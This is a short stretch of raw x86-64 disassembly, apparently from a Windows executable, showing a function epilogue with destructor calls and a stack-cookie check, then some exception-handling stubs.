lea rcx, [rbp + 0xc8]
call fcn.14000dce0
nop
lea rcx, [rbp + 0x2d0]
call fcn.14000c260
nop
lea rcx, [rbp + 0x50]
call fcn.14000dd00
nop
lea rcx, [rbp + 0xd8]
call fcn.140012660
nop
lea rcx, [rbp + 0xf8]
call fcn.140012660
nop
lea rcx, [rbp + 0x1c0]
call fcn.14000c4f0
nop
lea rcx, [rbp + 0x118]
call fcn.140012660
mov rcx, qword [rbp + 0x700]
xor rcx, rsp
call fcn.1400b1c90
lea r11, [rsp + 0x830]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001eb0
nop
call fcn.140001eb0
int3
call fcn.140001df0
int3
call fcn.1400c8390
nop
call fcn.1400c8390
nop
mov rcx, rax
call fcn.140019d20
mov qword [rbp - 0x40], rax
lea r8, [rbp - 0x40]
lea rcx, [rbp + 0x140]
call fcn.140028ec0
nop
mov r8, rax
lea rcx, [rsp + 0x48]
call fcn.140028f70
lea rdx, [0x140239378]
lea rcx, [rsp + 0x48]
call fcn.1400b4230
int3